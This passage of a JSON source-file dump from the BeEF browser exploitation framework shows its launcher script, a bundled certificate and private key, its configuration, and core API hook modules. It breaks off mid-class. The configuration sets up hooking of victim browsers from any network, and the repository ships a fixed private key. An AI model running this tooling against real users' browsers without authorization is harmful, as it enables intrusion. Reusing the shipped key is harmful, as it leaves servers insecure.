    "content": "#!/usr/bin/env ruby\n\n#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\n#\n# @note stop Fixnum deprecation warning from being displayed\n#\n$VERBOSE = nil\n\n#\n# @note Version check to ensure BeEF is running Ruby 3.0+\n#\nmin_ruby_version = '3.0'\nif RUBY_VERSION < min_ruby_version\n  puts\n  puts \"Ruby version #{RUBY_VERSION} is no longer supported. Please upgrade to Ruby version #{min_ruby_version} or later.\"\n  puts\n  exit 1\nend\n\n#\n# @note Platform check to ensure BeEF is not running on Windows\n#\nif RUBY_PLATFORM.downcase.include?('mswin') || RUBY_PLATFORM.downcase.include?('mingw')\n  puts\n  puts \"Ruby platform #{RUBY_PLATFORM} is not supported.\"\n  puts\n  exit 1\nend\n\n#\n# @note set load path, application root directory and user preferences directory\n#\n$root_dir = File.join(File.expand_path(File.dirname(File.realpath(__FILE__))), '.')\n$:.unshift($root_dir)\n$home_dir = File.expand_path(\"#{Dir.home}/.beef/\", __FILE__).freeze\n\n# @note Parse BeEF CLI options early (prevents Rack help from taking over)\nrequire 'core/main/console/commandline'\nBeEF::Core::Console::CommandLine.parse\n\n#\n# @note Require core loader\n#\nrequire 'core/loader'\nrequire 'timeout'\n\n#\n# @note Ask user if they would like to update beef\n#\nif File.exist?(\"#{$root_dir}git\") && BeEF::Core::Console::CommandLine.parse[:update_disabled] == false\n  if BeEF::Core::Console::CommandLine.parse[:update_auto] == true\n    print 'Checking latest BeEF repository and updating'\n    `git pull && bundle`\n  elsif `git rev-parse master` != `git rev-parse origin/master`\n    begin\n      Timeout.timeout(5) do\n        puts '-- BeEF Update Available --'\n        print 'Would you like to update to lastest version? y/n: '\n        response = gets\n        `git pull && bundle` if response&.strip == 'y'\n      end\n    rescue Timeout::Error\n      puts \"\\nUpdate Skipped with input timeout\"\n    end\n  end\nend\n\n#\n# @note Create ~/.beef/\n#\nbegin\n  FileUtils.mkdir_p($home_dir) unless File.directory?($home_dir)\nrescue => e\n  print_error \"Could not create '#{$home_dir}': #{e.message}\"\n  exit 1\nend\n\n#\n# @note Initialize the Configuration object. Loads a different config.yaml if -c flag was passed.\n#\nif BeEF::Core::Console::CommandLine.parse[:ext_config].empty?\n  config = BeEF::Core::Configuration.new(\"#{$root_dir}/config.yaml\")\nelse\n  config = BeEF::Core::Configuration.new(\"#{BeEF::Core::Console::CommandLine.parse[:ext_config]}\")\nend\n\n#\n# @note set log level\n#\nBeEF.logger.level = config.get('beef.debug') ? Logger::DEBUG : Logger::WARN\n\n#\n# @note Check the system language settings for UTF-8 compatibility\n#\nenv_lang = ENV['LANG']\nif env_lang !~ /(utf8|utf-8)/i\n  print_warning \"Warning: System language $LANG '#{env_lang}' does not appear to be UTF-8 compatible.\"\n  if env_lang =~ /\\A([a-z]+_[a-z]+)\\./i\n    country = $1\n    print_more \"Try: export LANG=#{country}.utf8\"\n  end\nend\n\n#\n# @note Check if port and WebSocket port need to be updated from command line parameters\n#\nunless BeEF::Core::Console::CommandLine.parse[:port].empty?\n  config.set('beef.http.port', BeEF::Core::Console::CommandLine.parse[:port])\nend\n\nunless BeEF::Core::Console::CommandLine.parse[:ws_port].empty?\n  config.set('beef.http.websocket.port', BeEF::Core::Console::CommandLine.parse[:ws_port])\nend\n\n#\n# @note Validate configuration file\n#\nunless BeEF::Core::Configuration.instance.validate\n  exit 1\nend\n\n#\n# @note Exit on default credentials\n#\nif config.get(\"beef.credentials.user\").eql?('beef') && config.get(\"beef.credentials.passwd\").eql?('beef')\n  print_error \"ERROR: Default username and password in use!\"\n  print_more \"Change the beef.credentials.passwd in config.yaml\"\n  exit 1\nend\n\n#\n# @note Validate beef.http.public and beef.http.public_port\n#\nunless config.get('beef.http.public.host').to_s.eql?('') || BeEF::Filters.is_valid_hostname?(config.get('beef.http.public.host'))\n  print_error \"ERROR: Invalid public hostname: #{config.get('beef.http.public.host')}\"\n  exit 1\nend\n\nunless config.get('beef.http.public.port').to_s.eql?('') || BeEF::Filters.is_valid_port?(config.get('beef.http.public.port'))\n  print_error \"ERROR: Invalid public port: #{config.get('beef.http.public.port')}\"\n  exit 1\nend\n\n#\n# @note After the BeEF core is loaded, bootstrap the rest of the framework internals\n#\nrequire 'core/bootstrap'\n\n#\n# @note Prints the BeEF ascii art if the -a flag was passed\n#\nif BeEF::Core::Console::CommandLine.parse[:ascii_art] == true\n  BeEF::Core::Console::Banners.print_ascii_art\nend\n\n#\n# @note Prints BeEF welcome message\n#\nBeEF::Core::Console::Banners.print_welcome_msg\n\n#\n# @note Loads enabled extensions\n#\nBeEF::Extensions.load\n\n#\n# @note Loads enabled modules\n#\nBeEF::Modules.load\n\n#\n# @note Disable reverse DNS\n#\nSocket.do_not_reverse_lookup = true\n\n#\n# @note Database setup\n#\n#\n# @note Load the database\n#\ndb_file = config.get('beef.database.file')\n# @note Resets the database if the -x flag was passed\nif BeEF::Core::Console::CommandLine.parse[:resetdb]\n  print_info 'Resetting the database for BeEF.'\n  begin\n    File.delete(db_file) if File.exist?(db_file)\n  rescue => e\n    print_error(\"Could not remove '#{db_file}' database file: #{e.message}\")\n    exit(1)\n  end\nend\n\n# Connect to DB\nActiveRecord::Base.logger = nil\nOTR::ActiveRecord.configure_from_hash!(adapter:'sqlite3', database:db_file)\n# otr-activerecord require you to manually establish the connection with the following line\n#Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems.\nif Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2')\n  OTR::ActiveRecord.establish_connection!\nend\n\n# Migrate (if required)\nActiveRecord::Migration.verbose = false # silence activerecord migration stdout messages\nActiveRecord::Migrator.migrations_paths = [File.join('core', 'main', 'ar-migrations')]\ncontext = ActiveRecord::MigrationContext.new(ActiveRecord::Migrator.migrations_paths)\nif context.needs_migration?\n  ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration, context.internal_metadata).migrate\nend\n\n#\n# @note Extensions may take a moment to load, thus we print out a please wait message\n#\nprint_info 'BeEF is loading. Wait a few seconds...'\n\n#\n# @note Execute migration procedure, checks for new modules\n#\nbegin\n  BeEF::Core::Migration.instance.update_db!\nrescue => e\n  print_error(\"Could not update '#{db_file}' database file: #{e.message}\")\n  exit(1)\nend\n\n#\n# @note Create HTTP Server and prepare it to run\n#\nhttp_hook_server = BeEF::Core::Server.instance\nhttp_hook_server.prepare\n\nbegin\n  BeEF::Core::Logger.instance.register('System', 'BeEF server started')\nrescue => e\n  print_error(\"Database connection failed: #{e.message}\")\n  exit(1)\nend\n\n#\n# @note Prints information back to the user before running the server\n#\nBeEF::Core::Console::Banners.print_loaded_extensions\nBeEF::Core::Console::Banners.print_loaded_modules\nBeEF::Core::Console::Banners.print_network_interfaces_count\nBeEF::Core::Console::Banners.print_network_interfaces_routes\nBeEF::Core::Console::Banners.print_http_proxy\nBeEF::Core::Console::Banners.print_dns\n\n#\n# @note Prints the API key needed to use the RESTful API\n#\nprint_info \"RESTful API key: #{BeEF::Core::Crypto::api_token}\"\n\n#\n# @note Load the GeoIP database\n#\nBeEF::Core::GeoIp.instance\n\n#\n# @note Call the API method 'pre_http_start'\n#\nBeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server)\n\n#\n# @note Load any ARE (Autorun Rule Engine) rules scanning the <beef_root>/arerules/enabled directory\n#\nBeEF::Core::AutorunEngine::RuleLoader.instance.load_directory\n\n#\n# @note Start the WebSocket server\n#\nif config.get(\"beef.http.websocket.enable\")\n  BeEF::Core::Websocket::Websocket.instance\n  BeEF::Core::Console::Banners.print_websocket_servers\nend\n\n#\n# @note Start HTTP server\n#\nprint_info 'BeEF server started (press control+c to stop)'\nhttp_hook_server.start\n"
  },
  {
    "path": "beef_cert.pem",
    "content": "-----BEGIN CERTIFICATE-----\nMIIECTCCAnGgAwIBAgIUbx/YybkSOL8uO0qikl/wsL4xLeIwDQYJKoZIhvcNAQEL\nBQAwFDESMBAGA1UEAwwJbG9jYWxob3N0MB4XDTE5MDIxNjEzMjYxNFoXDTI5MDIx\nMzEzMjYxNFowFDESMBAGA1UEAwwJbG9jYWxob3N0MIIBojANBgkqhkiG9w0BAQEF\nAAOCAY8AMIIBigKCAYEAteQJ2fooOffGU8jFkArCsFaJZW5WSuc5j7i2ciG0LY2C\nlVg1Uy7/6xHe048RJAD9AnWajf9Jt7NpAAoyRmFJOepZS8CStON4mBrKUFI4rzAB\nW9F7nov5+k+GK11kuvPFyAQCGs82RpGXsEP2ktsimsWvI8jnt7B+DXltqxeWavXB\nTYOTsDhyRxXcNPGgenOabtya1XsAecTs4JPOsV4L/hnTS70X8BNOcMRFRNb3W5C0\nw3vnid9Q6jhDRC6ghpeVWgnlymqV0Y6v1pbWZRs71sKQF/V5Td5zA8pr9r30YFAD\nWbkb33vicU5BkZ8PQeUygqtqKOhni9i8Yg1otkXmqWsmo5sV/GgKHvkxOoQBlzv3\nhhMyYEnKjhPuepKl/VW17zRFdMCQZbvtW9/WBX4AwtKNAxYiRRO5jvDU1pX0nfXw\n86ZPfkbkPdJJYqZqqsOSSOVSpCkoLJv/owaY10XwgSEl8rA+3t03/9B6s09Q0o28\n0zXu/CMiSBNSEJlJSNdZAgMBAAGjUzBRMB0GA1UdDgQWBBTULhamHun+PWMkHDzg\n5yHcv0KOmTAfBgNVHSMEGDAWgBTULhamHun+PWMkHDzg5yHcv0KOmTAPBgNVHRMB\nAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBgQAZo9xPTktJ1aTxTXfLKivqbPin\n5CiRl5DWh1niPUFowmuAGbDCYOHA/+fzhBhFWj3LVaX2dQSpYxiqnfb5FWaxNK+8\n9A0AKgf8f2cpJ22QleDFOsyCw8jxzSfmOKKQLifY5Ty5C5P8xb9T0B7LbyR8r17p\nsr77eM/5tBpsIIh40AZjoDhi/HHrtqxEb+DgnTRHIBMmzvwkk+v4iXBDCO5BHFof\ngVXOF3MrovhH+qA8HFl9diJ6MtTltVAqI0eShBLd2MJ068qKqb+I6pyXGmlrk9Ei\nH0XrKlKEKjyum6ZEPr5Mn+NA+4ePRv1mPHoaopJoNhgRislfryGFLJwxeuMJfQOU\noZTmgK8Ur0TYLl/wqf9avX3A8hkffNZXukmzNwjzLVG252RPA2Iq3y1+7VgOjaBJ\nrNbwArYInhfF5hJesjo3LAD9H29dFxR6dztpOcDCkaOZEdlz+fvqUFYJzwuHmuSi\nDLyqAOr77CjoWEMSHcXUEGUeJDKVqLgzqC9lqf4=\n-----END CERTIFICATE-----\n"
  },
  {
    "path": "beef_key.pem",
    "content": "-----BEGIN PRIVATE KEY-----\n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\njyItP2FJBbw7BlIq7t2c2G66\n-----END PRIVATE KEY-----\n"
  },
  {
    "path": "conf.json",
    "content": "{\n    \"source\": {\n        \"include\": [\"./core/main/client\"],\n        \"includePattern\": \".js$\"\n    },\n    \"plugins\": [\n        \"plugins/markdown\"\n    ],\n    \"opts\": {\n        \"encoding\": \"utf8\",\n        \"readme\": \"./README.md\",\n        \"destination\": \"docs/\",\n        \"recurse\": true,\n        \"verbose\": true\n    }\n}\n"
  },
  {
    "path": "config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# BeEF Configuration file\n\nbeef:\n    version: '0.6.0.0'\n    # More verbose messages (server-side)\n    debug: false\n    # More verbose messages (client-side)\n    client_debug: false\n    # Used for generating secure tokens\n    crypto_default_value_length: 80\n\n    # Credentials to authenticate in BeEF.\n    # Used by both the RESTful API and the Admin interface\n    credentials:\n        user:   \"beef\"\n        passwd: \"beef\"\n\n    # Interface / IP restrictions\n    restrictions:\n        # subnet of IP addresses that can hook to the framework\n        permitted_hooking_subnet: [\"0.0.0.0/0\", \"::/0\"]\n        # subnet of IP addresses that can connect to the admin UI\n        #permitted_ui_subnet: [\"127.0.0.1/32\", \"::1/128\"]\n        permitted_ui_subnet: [\"0.0.0.0/0\", \"::/0\"]\n        # subnet of IP addresses that cannot be hooked by the framework\n        excluded_hooking_subnet: []\n        # slow API calls to 1 every  api_attempt_delay  seconds\n        api_attempt_delay: \"0.05\"\n\n    # HTTP server \n    http:\n        debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace.\n        host: \"0.0.0.0\"\n        port: \"3000\"\n\n        # Decrease this setting to 1,000 (ms) if you want more responsiveness\n        #  when sending modules and retrieving results.\n        # NOTE: A poll timeout of less than 5,000 (ms) might impact performance\n        #  when hooking lots of browsers (50+).\n        # Enabling WebSockets is generally better (beef.websocket.enable)\n        xhr_poll_timeout: 1000\n\n        # Public Domain Name / Reverse Proxy / Port Forwarding\n        #\n        # In order for the client-side BeEF JavaScript hook to be able to connect to BeEF,\n        # the hook JavaScript needs to be generated with the correct connect-back details.\n        #\n        # If you're using a public domain name, reverse proxy, or port forwarding you must\n        # configure the public-facing connection details here.\n\n        #public:\n        #    host: \"beef.local\" # public hostname/IP address\n        #    port: \"443\" # public port (443 if the public server is using HTTPS)\n        #    https: false # true/false\n\n        # If using any reverse proxy you should also set allow_reverse_proxy to true below.\n        # Note that this causes the BeEF server to trust the X-Forwarded-For HTTP header.\n        # If the BeEF server is directly accessible, clients can spoof their connecting\n        # IP address using this header to bypass the IP address permissions/exclusions.\n        allow_reverse_proxy: false\n\n        # Hook\n        hook_file: \"/hook.js\"\n        hook_session_name: \"BEEFHOOK\"\n\n        # Allow one or multiple origins to access the RESTful API using CORS\n        # For multiple origins use: \"http://browserhacker.com, http://domain2.com\"\n        restful_api:\n            allow_cors: false\n            cors_allowed_domains: \"http://browserhacker.com\"\n\n        # Prefer WebSockets over XHR-polling when possible.\n        websocket:\n            enable: false\n            port: 61985 # WS: good success rate through proxies\n            # Use encrypted 'WebSocketSecure'\n            # NOTE: works only on HTTPS domains and with HTTPS support enabled in BeEF\n            secure: true\n            secure_port: 61986 # WSSecure\n            ws_poll_timeout: 5000 # poll BeEF every x second, this affects how often the browser can have a command execute on it\n            ws_connect_timeout: 500 # useful to help fingerprinting finish before establishing the WS channel\n\n        # Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)\n        web_server_imitation:\n            enable: true\n            type: \"apache\" # Supported: apache, iis, nginx\n            hook_404: false # inject BeEF hook in HTTP 404 responses\n            hook_root: false # inject BeEF hook in the server home page\n        # Experimental HTTPS support for the hook / admin / all other Thin managed web services\n        https:\n            enable: false\n            # In production environments, be sure to use a valid certificate signed for the value\n            # used in beef.http.public (the domain name of the server where you run BeEF)\n            key: \"beef_key.pem\"\n            cert: \"beef_cert.pem\"\n\n    database:\n        file: \"beef.db\"\n\n    # Autorun Rule Engine\n    autorun:\n        # this is used when rule chain_mode type is nested-forward, needed as command results are checked via setInterval\n        # to ensure that we can wait for async command results. The timeout is needed to prevent infinite loops or eventually\n        # continue execution regardless of results.\n        # If you're chaining multiple async modules, and you expect them to complete in more than 5 seconds, increase the timeout.\n        result_poll_interval: 300\n        result_poll_timeout: 5000\n\n        # If the modules doesn't return status/results and timeout exceeded, continue anyway with the chain.\n        # This is useful to call modules (nested-forward chain mode) that are not returning their status/results.\n        continue_after_timeout: true\n\n    # Enables DNS lookups on zombie IP addresses\n    dns_hostname_lookup: false\n\n    # IP Geolocation\n    geoip:\n        enable: true\n        # GeoLite2 City database created by MaxMind, available from https://www.maxmind.com\n        database: '/usr/share/GeoIP/GeoLite2-City.mmdb'\n\n    # You may override default extension configuration parameters here\n    # Note: additional experimental extensions are available in the 'extensions' directory\n    #       and can be enabled via their respective 'config.yaml' file\n    extension:\n        admin_ui:\n            enable: true\n            base_path: \"/ui\"\n        demos:\n            enable: true\n        events:\n            enable: true\n        evasion:\n            enable: false\n        requester:\n            enable: true\n        proxy:\n            enable: true\n        network:\n            enable: true\n        metasploit:\n            enable: false\n        social_engineering:\n            enable: false\n        xssrays:\n            enable: true\n"
  },
  {
    "path": "core/api/extension.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nmodule BeEF\n  module API\n    module Extension\n      attr_reader :full_name, :short_name, :description\n\n      @full_name = ''\n      @short_name = ''\n      @description = ''\n    end\n  end\nend\n"
  },
  {
    "path": "core/api/extensions.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module API\n    module Extensions\n      # @note Defined API Paths\n      API_PATHS = {\n        'post_load' => :post_load\n      }.freeze\n\n      # API hook fired after all extensions have been loaded\n      def post_load; end\n    end\n  end\nend\n"
  },
  {
    "path": "core/api/main/configuration.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module API\n    module Configuration\n      # @note Defined API Paths\n      API_PATHS = {\n        'module_configuration_load' => :module_configuration_load\n      }.freeze\n\n      # Fires just after module configuration is loaded and merged\n      # @param [String] mod module key\n      def module_configuration_load(mod); end\n    end\n  end\nend\n"
  },
  {
    "path": "core/api/main/migration.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module API\n    module Migration\n      # @note Defined API Paths\n      API_PATHS = {\n        'migrate_commands' => :migrate_commands\n      }.freeze\n\n      # Fired just after the migration process\n      def migrate_commands; end\n    end\n  end\nend\n"
  },
  {
    "path": "core/api/main/network_stack/assethandler.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module API\n    module NetworkStack\n      module Handlers\n        module AssetHandler\n          # Binds a file to be accessible by the hooked browser\n          # @param [String] file file to be served\n          # @param [String] path URL path to be bound, if no path is specified a randomly generated one will be used\n          # @param [String] extension to be used in the URL\n          # @param [Integer] count amount of times the file can be accessed before being automatically unbound. (-1 = no limit)\n          # @return [String] URL bound to the specified file\n          # @todo Add hooked browser parameter to only allow specified hooked browsers access to the bound URL. Waiting on Issue #336\n          # @note This is a direct API call and does not have to be registered to be used\n          def self.bind(file, path = nil, extension = nil, count = -1)\n            BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(file, path, extension, count)\n          end\n\n          # Unbinds a file made accessible to hooked browsers\n          # @param [String] url the bound URL\n          # @todo Add hooked browser parameter to only unbind specified hooked browsers binds. Waiting on Issue #336\n          # @note This is a direct API call and does not have to be registered to be used\n          def self.unbind(url)\n            BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind(url)\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/api/main/server/hook.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module API\n    module Server\n      module Hook\n        # @note Defined API Paths\n        API_PATHS = {\n          'pre_hook_send' => :pre_hook_send\n        }.freeze\n\n        # Fires just before the hook is sent to the hooked browser\n        # @param [Class] handler the associated handler Class\n        def pre_hook_send(handler); end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/api/main/server.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module API\n    module Server\n      # @note Defined API Paths\n      API_PATHS = {\n        'mount_handler' => :mount_handler,\n        'pre_http_start' => :pre_http_start\n      }.freeze\n\n      # Fires just before the HTTP Server is started\n      # @param [Object] http_hook_server HTTP Server object\n      def pre_http_start(http_hook_server); end\n\n      # Fires just after handlers have been mounted\n      # @param [Object] server HTTP Server object\n      def mount_handler(server); end\n\n      # Mounts a handler\n      # @param [String] url URL to be mounted\n      # @param [Class] http_handler_class the handler Class\n      # @param [Array] args an array of arguments\n      # @note This is a direct API call and does not have to be registered to be used\n      def self.mount(url, http_handler_class, args = nil)\n        BeEF::Core::Server.instance.mount(url, http_handler_class, *args)\n      end\n\n      # Unmounts a handler\n      # @param [String] url URL to be unmounted\n      # @note This is a direct API call and does not have to be registered to be used\n      def self.unmount(url)\n        BeEF::Core::Server.instance.unmount(url)\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/api/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module API\n    module Command\n    end\n\n    module Module\n      # @note Defined API Paths\n      API_PATHS = {\n        'pre_soft_load' => :pre_soft_load,\n        'post_soft_load' => :post_soft_load,\n        'pre_hard_load' => :pre_hard_load,\n        'post_hard_load' => :post_hard_load,\n        'get_options' => :get_options,\n        'get_payload_options' => :get_payload_options,\n        'override_execute' => :override_execute\n      }.freeze\n\n      # Fired before a module soft load\n      # @param [String] mod module key of module about to be soft loaded\n      def pre_soft_load(mod); end\n\n      # Fired after module soft load\n      # @param [String] mod module key of module just after soft load\n      def post_soft_load(mod); end\n\n      # Fired before a module hard load\n      # @param [String] mod module key of module about to be hard loaded\n      def pre_hard_load(mod); end\n\n      # Fired after module hard load\n      # @param [String] mod module key of module just after hard load\n      def post_hard_load(mod); end\n\n      # Fired before standard module options are returned\n      # @return [Hash] a hash of options\n      # @note the option hash is merged with all other API hook's returned hash. Hooking this API method prevents the default options being returned.\n      def get_options; end\n\n      # Fired just before a module is executed\n      # @param [String] mod module key\n      # @param [String] hbsession hooked browser session id\n      # @param [Hash] opts a Hash of options\n      # @note Hooking this API method stops the default flow of the Module.execute() method.\n      def override_execute(mod, hbsession, opts); end\n\n      # Fired when retreiving dynamic payload\n      # @return [Hash] a hash of options\n      # @note the option hash is merged with all other API hook's returned hash. Hooking this API method prevents the default options being returned.\n      def get_payload_options; end\n    end\n  end\nend\n"
  },
  {
    "path": "core/api/modules.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module API\n    module Modules\n      # @note Defined API Paths\n      API_PATHS = {\n        'post_soft_load' => :post_soft_load\n      }.freeze\n\n      # Fires just after all modules are soft loaded\n      def post_soft_load; end\n    end\n  end\nend\n"
  },
  {
    "path": "core/api.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nmodule BeEF\n  module API\n    #\n    # Registrar class to handle all registered timed API calls\n    #\n    class Registrar\n      include Singleton\n\n      #\n      # Create registrar\n      #\n      def initialize\n        @registry = []\n        @count = 1\n      end\n\n      # Register timed API calls to an owner\n      #\n      # @param [Class] owner the owner of the API hook\n      # @param [Class] clss the API class the owner would like to hook into\n      # @param [String] method the method of the class the owner would like to execute\n      # @param [Array] params an array of parameters that need to be matched before the owner will be called\n      #\n      def register(owner, clss, method, params = [])\n        unless verify_api_path(clss, method)\n          print_error \"API Registrar: Attempted to register non-existent API method #{clss} :#{method}\"\n          return\n        end\n\n        if registered?(owner, clss, method, params)\n          print_debug \"API Registrar: Attempting to re-register API call #{clss} :#{method}\"\n          return\n        end\n\n        id = @count\n        @registry << {\n          'id' => id,\n          'owner' => owner,\n          'class' => clss,\n          'method' => method,\n          'params' => params\n        }\n        @count += 1\n\n        id\n      end\n\n      #\n      # Tests whether the owner is registered for an API hook\n      #\n      # @param [Class] owner the owner of the API hook\n      # @param [Class] clss the API class\n      # @param [String] method the method of the class\n      # @param [Array] params an array of parameters that need to be matched\n      #\n      # @return [Boolean] whether or not the owner is registered\n      #\n      def registered?(owner, clss, method, params = [])\n        @registry.each do |r|\n          next unless r['owner'] == owner\n          next unless r['class'] == clss\n          next unless r['method'] == method\n          next unless is_matched_params? r, params\n\n          return true\n        end\n        false\n      end\n\n      #\n      # Match a timed API call to determine if an API.fire() is required\n      #\n      # @param [Class] clss the target API class\n      # @param [String] method the method of the target API class\n      # @param [Array] params an array of parameters that need to be matched\n      #\n      # @return [Boolean] whether or not the arguments match an entry in the API registry\n      #\n      def matched?(clss, method, params = [])\n        @registry.each do |r|\n          next unless r['class'] == clss\n          next unless r['method'] == method\n          next unless is_matched_params? r, params\n\n          return true\n        end\n        false\n      end\n\n      #\n      # Un-registers an API hook\n      #\n      # @param [Integer] id the ID of the API hook\n      #\n      def unregister(id)\n        @registry.delete_if { |r| r['id'] == id }\n      